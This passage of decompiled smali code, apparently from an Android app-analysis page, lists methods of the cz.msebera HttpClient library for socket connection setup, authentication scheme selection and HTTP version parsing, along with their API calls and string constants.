        35iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->dnsResolver:Lcz/msebera/android/httpclient/conn/DnsResolver;
        37invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        38move-result-object v3
        40invoke-interface {v0, v3}, Lcz/msebera/android/httpclient/conn/DnsResolver;->resolve(Ljava/lang/String;)[Ljava/net/InetAddress;
        41move-result-object v0
        42goto/16 :goto_29
        43goto_36:
        44iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->schemePortResolver:Lcz/msebera/android/httpclient/conn/SchemePortResolver;
        46invoke-interface {v0, v10}, Lcz/msebera/android/httpclient/conn/SchemePortResolver;->resolve(Lcz/msebera/android/httpclient/HttpHost;)I
        47move-result v9
        48const/4 v8, 0x0
        49goto_3d: array-length v0, v15
        50if-ge v8, v0, :cond_12d
        51aget-object v0, v15, v8
        52array-length v3, v15
        53sub-int/2addr v3, v14
        54if-ne v8, v3, :cond_49
        55const/16 v16, 0x1
        56goto/16 :goto_4b
        57cond_49: const/16 v16, 0x0
        58goto_4b:
        59invoke-interface {v12, v11}, Lcz/msebera/android/httpclient/conn/socket/ConnectionSocketFactory;->createSocket(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        60move-result-object v5
        62invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/config/SocketConfig;->getSoTimeout()I
        63move-result v3
        65invoke-virtual {v5, v3}, Ljava/net/Socket;->setSoTimeout(I)V
        67invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/config/SocketConfig;->isSoReuseAddress()Z
        68move-result v3
        70invoke-virtual {v5, v3}, Ljava/net/Socket;->setReuseAddress(Z)V
        72invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/config/SocketConfig;->isTcpNoDelay()Z
        73move-result v3
        75invoke-virtual {v5, v3}, Ljava/net/Socket;->setTcpNoDelay(Z)V
        77invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/config/SocketConfig;->isSoKeepAlive()Z
        78move-result v3
        80invoke-virtual {v5, v3}, Ljava/net/Socket;->setKeepAlive(Z)V
        82invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/config/SocketConfig;->getSoLinger()I
        83move-result v3
        84if-ltz v3, :cond_79
        85if-lez v3, :cond_75
        86const/4 v4, 0x1
        87goto/16 :goto_76
        88cond_75: const/4 v4, 0x0
        89goto_76:
        90invoke-virtual {v5, v4, v3}, Ljava/net/Socket;->setSoLinger(ZI)V
        91cond_79:
        92invoke-interface {v2, v5}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->bind(Ljava/net/Socket;)V
        93new-instance v7, Ljava/net/InetSocketAddress;
        95invoke-direct {v7, v0, v9}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        97iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        99invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        100move-result v0
        101if-eqz v0, :cond_9f
        103iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        104new-instance v3, Ljava/lang/StringBuilder;
        106invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        108const-string v4, "Connecting to "
        110invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        112invoke-virtual {v3, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        114invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        115move-result-object v3
        117invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        118cond_9f: move-object v3, v12
        119move/from16 v4, p4
        120move-object/from16 v6, p2
        121move-object/from16 v17, v7
        122move/from16 v18, v8
        123move-object/from16 v8, p3
        124move/from16 v19, v9
        125move-object/from16 v9, p6
        126try_start_ae:
        127invoke-interface/range {v3 .. v9}, Lcz/msebera/android/httpclient/conn/socket/ConnectionSocketFactory;->connectSocket(ILjava/net/Socket;Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetSocketAddress;Ljava/net/InetSocketAddress;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        128move-result-object v0
        130invoke-interface {v2, v0}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->bind(Ljava/net/Socket;)V
        132iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        134invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        135move-result v0
        136if-eqz v0, :cond_d3
        138iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        139new-instance v3, Ljava/lang/StringBuilder;
        141invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        143const-string v4, "Connection established "
        145invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        147invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        149invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        150move-result-object v3
        152invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        153cond_d3: return-void
        154catch_d4: move-exception v0
        155if-nez v16, :cond_d8
        156goto/16 :goto_f7
        157cond_d8: throw v0
        158catch_d9: move-exception v0
        159if-eqz v16, :cond_f7
        161invoke-virtual {v0}, Ljava/net/ConnectException;->getMessage()Ljava/lang/String;
        162move-result-object v2
        164const-string v3, "Connection timed out"
        166invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        167move-result v2
        168if-eqz v2, :cond_ee
        169new-instance v2, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        171invoke-direct {v2, v0, v10, v15}, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;-><init>(Ljava/io/IOException;Lcz/msebera/android/httpclient/HttpHost;[Ljava/net/InetAddress;)V
        172throw v2
        173cond_ee: new-instance v2, Lcz/msebera/android/httpclient/conn/HttpHostConnectException;
        175invoke-direct {v2, v0, v10, v15}, Lcz/msebera/android/httpclient/conn/HttpHostConnectException;-><init>(Ljava/io/IOException;Lcz/msebera/android/httpclient/HttpHost;[Ljava/net/InetAddress;)V
        176throw v2
        177catch_f4: move-exception v0
        178if-nez v16, :cond_127
        179cond_f7:
        180iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        182invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        183move-result v0
        184if-eqz v0, :cond_121
        186iget-object v0, v1, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        187new-instance v3, Ljava/lang/StringBuilder;
        189invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        191const-string v4, "Connect to "
        193invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        194move-object/from16 v4, v17
        196invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        198const-string v4, " timed out. "
        200invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        202const-string v4, "Connection will be retried using another IP address"
        204invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        206invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        207move-result-object v3
        209invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        210cond_121: add-int/lit8 v8, v18, 0x1
        211move/from16 v9, v19
        212goto/16 :goto_3d
        213cond_127: new-instance v2, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        215invoke-direct {v2, v0, v10, v15}, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;-><init>(Ljava/io/IOException;Lcz/msebera/android/httpclient/HttpHost;[Ljava/net/InetAddress;)V
        216throw v2
        217cond_12d: return-void
        218cond_12e: new-instance v0, Lcz/msebera/android/httpclient/conn/UnsupportedSchemeException;
        219new-instance v2, Ljava/lang/StringBuilder;
        221invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        223invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        224move-result-object v3
        226invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        228const-string v3, " protocol is not supported"
        230invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        232invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        233move-result-object v2
        235invoke-direct {v0, v2}, Lcz/msebera/android/httpclient/conn/UnsupportedSchemeException;-><init>(Ljava/lang/String;)V
        236throw v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Collection.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.String.toLowerCase
        • java.util.Map.get
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        Strings
        • http.authscheme-registry
        • AuthScheme registry
        • Authentication schemes in the order of preference:
        • authentication scheme selected
        • Authentication scheme
        • not supported
        • Challenge for
        • authentication scheme not available
        • Unable to respond to any of these challenges:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/Map<",
        4"Ljava/lang/String;",
        5"Lcz/msebera/android/httpclient/Header;",
        6">;",
        7"Lcz/msebera/android/httpclient/HttpResponse;",
        8"Lcz/msebera/android/httpclient/protocol/HttpContext;",
        9")",
        10"Lcz/msebera/android/httpclient/auth/AuthScheme;"
        11}
        12.end annotation
        13.annotation system Ldalvik/annotation/Throws;
        14value = {
        15Lcz/msebera/android/httpclient/auth/AuthenticationException;
        16}
        17.end annotation
        19const-string v0, "http.authscheme-registry"
        21invoke-interface {p3, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        22move-result-object v0
        23check-cast v0, Lcz/msebera/android/httpclient/auth/AuthSchemeRegistry;
        25const-string v1, "AuthScheme registry"
        27invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->notNull(Ljava/lang/Object;Ljava/lang/String;)V
        29invoke-virtual {p0, p2, p3}, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->getAuthPreferences(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/util/List;
        30move-result-object p3
        31if-nez p3, :cond_15
        33sget-object p3, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->DEFAULT_SCHEME_PRIORITY:Ljava/util/List;
        34cond_15:
        35iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        37invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        38move-result v1
        39if-eqz v1, :cond_33
        41iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        42new-instance v2, Ljava/lang/StringBuilder;
        44invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        46const-string v3, "Authentication schemes in the order of preference: "
        48invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        52invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        53move-result-object v2
        55invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        56cond_33: const/4 v1, 0x0
        58invoke-interface {p3}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
        59move-result-object p3
        60cond_38:
        61invoke-interface {p3}, Ljava/util/Iterator;->hasNext()Z
        62move-result v2
        63if-eqz v2, :cond_c3
        65invoke-interface {p3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        66move-result-object v2
        67check-cast v2, Ljava/lang/String;
        69sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        71invoke-virtual {v2, v3}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        72move-result-object v3
        74invoke-interface {p1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        75move-result-object v3
        76check-cast v3, Lcz/msebera/android/httpclient/Header;
        77if-eqz v3, :cond_9e
        79iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        81invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        82move-result v3
        83if-eqz v3, :cond_70
        85iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        86new-instance v4, Ljava/lang/StringBuilder;
        88invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        90invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        92const-string v5, " authentication scheme selected"
        94invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        97move-result-object v4
        99invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        100cond_70:
        101invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        102move-result-object v3
        104invoke-virtual {v0, v2, v3}, Lcz/msebera/android/httpclient/auth/AuthSchemeRegistry;->getAuthScheme(Ljava/lang/String;Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/auth/AuthScheme;
        105move-result-object v3
        106try_end_78: move-object v1, v3
        107goto/16 :goto_c3
        108catch_7a:
        109iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        111invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        112move-result v3
        113if-eqz v3, :cond_38
        115iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        116new-instance v4, Ljava/lang/StringBuilder;
        118invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        120const-string v5, "Authentication scheme "
        122invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        124invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        126const-string v2, " not supported"
        128invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        130invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        131move-result-object v2
        133invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        134goto/16 :goto_38
        135cond_9e:
        136iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        138invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        139move-result v3
        140if-eqz v3, :cond_38
        142iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AbstractAuthenticationHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        143new-instance v4, Ljava/lang/StringBuilder;
        145invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        147const-string v5, "Challenge for "
        149invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        153const-string v2, " authentication scheme not available"
        155invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        157invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        158move-result-object v2
        160invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        161goto/16 :goto_38
        162goto_c3: if-eqz v1, :cond_c6
        163return-object v1
        164cond_c6: new-instance p2, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        165new-instance p3, Ljava/lang/StringBuilder;
        167invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        169const-string v0, "Unable to respond to any of these challenges: "
        171invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        173invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        175invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        176move-result-object p1
        178invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        179throw p2
        Cross References
        APIs
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.Integer.parseInt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        Strings
        • Char array buffer
        • Parser cursor
        • Invalid protocol minor version number:
        • Invalid protocol major version number:
        • Invalid protocol version number:
        • Not a valid protocol version:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ParseException;
        3}
        4.end annotation
        6const-string v0, "Char array buffer"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Parser cursor"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicLineParser;->protocol:Lcz/msebera/android/httpclient/ProtocolVersion;
        16invoke-virtual {v0}, Lcz/msebera/android/httpclient/ProtocolVersion;->getProtocol()Ljava/lang/String;
        17move-result-object v0
        19invoke-virtual {v0}, Ljava/lang/String;->length()I
        20move-result v1
        22invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        23move-result v2
        25invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getUpperBound()I
        26move-result v3
        28invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->skipWhitespace(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)V
        30invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        31move-result v4
        32add-int v5, v4, v1
        33add-int/lit8 v6, v5, 0x4
        34if-gt v6, v3, :cond_eb
        35const/4 v6, 0x0
        36const/4 v7, 0x1
        37const/4 v8, 0x1
        38const/4 v9, 0x0
        39goto_2d: if-eqz v8, :cond_43
        40if-ge v9, v1, :cond_43
        41add-int v8, v4, v9
        43invoke-virtual {p1, v8}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        44move-result v8
        46invoke-virtual {v0, v9}, Ljava/lang/String;->charAt(I)C
        47move-result v10
        48if-ne v8, v10, :cond_3f
        49const/4 v8, 0x1
        50goto/16 :goto_40
        51cond_3f: const/4 v8, 0x0
        52goto_40: add-int/lit8 v9, v9, 0x1
        53goto/16 :goto_2d
        54cond_43: if-eqz v8, :cond_50
        56invoke-virtual {p1, v5}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        57move-result v0
        58const/16 v5, 0x2f
        59if-ne v0, v5, :cond_4f
        60const/4 v8, 0x1
        61goto/16 :goto_50
        62cond_4f: const/4 v8, 0x0
        63cond_50: if-eqz v8, :cond_d0
        64add-int/2addr v1, v7
        65add-int/2addr v4, v1
        66const/16 v0, 0x2e
        68invoke-virtual {p1, v0, v4, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(III)I
        69move-result v0
        70const/4 v1, -0x1
        71if-eq v0, v1, :cond_b5
        72try_start_5d:
        73invoke-virtual {p1, v4, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        74move-result-object v4
        76invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        77move-result v4
        78try_end_65: add-int/2addr v0, v7
        79const/16 v5, 0x20
        81invoke-virtual {p1, v5, v0, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(III)I
        82move-result v5
        83if-ne v5, v1, :cond_6f
        84move v5, v3
        85try_start_6f:
        86invoke-virtual {p1, v0, v5}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        87move-result-object v0
        89invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        90move-result v0
        91try_end_77:
        92invoke-virtual {p2, v5}, Lcz/msebera/android/httpclient/message/ParserCursor;->updatePos(I)V
        94invoke-virtual {p0, v4, v0}, Lcz/msebera/android/httpclient/message/BasicLineParser;->createProtocolVersion(II)Lcz/msebera/android/httpclient/ProtocolVersion;
        95move-result-object p1
        96return-object p1
        97catch_7f: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        98new-instance v0, Ljava/lang/StringBuilder;
        100invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        102const-string v1, "Invalid protocol minor version number: "
        104invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        106invoke-virtual {p1, v2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        107move-result-object p1
        109invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        111invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        112move-result-object p1
        114invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        115throw p2
        116catch_9a: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        117new-instance v0, Ljava/lang/StringBuilder;
        119invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        121const-string v1, "Invalid protocol major version number: "
        123invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        125invoke-virtual {p1, v2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        126move-result-object p1
        128invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        130invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        131move-result-object p1
        133invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        134throw p2
        135cond_b5: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        136new-instance v0, Ljava/lang/StringBuilder;
        138invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        140const-string v1, "Invalid protocol version number: "
        142invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        144invoke-virtual {p1, v2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        145move-result-object p1
        147invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        149invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        150move-result-object p1
        152invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        153throw p2
        154cond_d0: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        155new-instance v0, Ljava/lang/StringBuilder;
        157invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        159const-string v1, "Not a valid protocol version: "
        161invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        163invoke-virtual {p1, v2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        164move-result-object p1
        166invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        168invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        169move-result-object p1
        171invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        172throw p2
        173cond_eb: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        174new-instance v0, Ljava/lang/StringBuilder;
        176invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        178const-string v1, "Not a valid protocol version: "
        180invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        182invoke-virtual {p1, v2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        183move-result-object p1
        185invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        187invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        188move-result-object p1
        190invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        191throw p2
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.getClass
        • java.lang.Class.getName
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.NonRepeatableRequestException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.NoHttpResponseException.<init>
        • java.io.IOException.getStackTrace
        • cz.msebera.android.httpclient.NoHttpResponseException.setStackTrace
        Strings
        • HTTP route
        • HTTP request
        • HTTP context
        • Request has been aborted
        • I/O exception (
        • ) caught when processing request to
        • :
        • Retrying request to
        • Cannot retry non-repeatable request
        • Cannot retry request with a non-repeatable request entity
        • failed to respond
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
